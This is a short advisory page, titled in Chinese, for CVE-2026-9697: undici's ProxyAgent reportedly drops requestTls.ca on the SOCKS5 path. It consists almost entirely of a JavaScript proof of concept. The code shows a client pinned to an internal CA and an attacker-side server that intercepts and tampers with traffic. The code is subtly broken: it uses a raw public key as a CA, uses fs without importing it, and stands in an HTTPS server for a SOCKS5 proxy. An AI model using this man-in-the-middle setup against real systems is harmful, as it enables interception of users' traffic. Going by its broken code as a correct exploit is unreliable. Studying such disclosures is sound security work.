CVE-2026-9697：undici ProxyAgent SOCKS5代理TLS配置绕过漏洞

// CVE-2026-9697 Proof of Concept // Demonstrates that undici ProxyAgent with SOCKS5 ignores requestTls.ca const { ProxyAgent } = require('undici'); const https = require('https'); const crypto = require('crypto'); // Step 1: Generate a self-signed CA (simulating an internal/corporate CA) // In a real scenario, the application would pin to this CA via requestTls.ca const internalCA = crypto.generateKeyPairSync('rsa', { modulusLength: 2048 }); // Step 2: Configure ProxyAgent with SOCKS5 proxy AND requestTls.ca // The requestTls.ca should restrict TLS to certificates signed by internalCA // But due to CVE-2026-9697, it will be silently dropped const socks5Proxy = 'socks5://127.0.0.1:1080'; // Attacker's SOCKS5 proxy const proxyAgent = new ProxyAgent({ uri: socks5Proxy, requestTls: { ca: internalCA.publicKey.export(), // This will be IGNORED in SOCKS5 path rejectUnauthorized: true, servername: 'internal.example.com' } }); // Step 3: Make an HTTPS request through the SOCKS5 proxy // Expected: Connection should fail because the target cert // is not signed by internalCA // Actual (vulnerable): Connection succeeds because default // Mozilla CA bundle is used instead async function exploit() { try { const response = await fetch('https://internal.example.com/secret', { dispatcher: proxyAgent }); console.log('[VULNERABLE] Request succeeded - requestTls was ignored!'); console.log('MITM attack possible: any publicly-trusted cert accepted'); } catch (err) { console.log('[SAFE] Request failed as expected:', err.message); } } exploit(); // --- Attacker side: SOCKS5 proxy serving a publicly-signed cert --- // The attacker runs a SOCKS5 proxy that intercepts the CONNECT request // and responds with a TLS certificate signed by Let's Encrypt (or any // publicly-trusted CA) for the target domain, bypassing the intended // certificate pinning. const attackerProxy = https.createServer({ // Attacker obtains a valid cert for internal.example.com // from a public CA (e.g., via CT log monitoring or domain control) cert: fs.readFileSync('attacker-cert.pem'), key: fs.readFileSync('attacker-key.pem') }, (req, res) => { // Log and forward/modify the intercepted traffic console.log('Intercepted:', req.url); res.end('tampered data'); }); // socks5-server listens on 127.0.0.1:1080 and tunnels to attackerProxy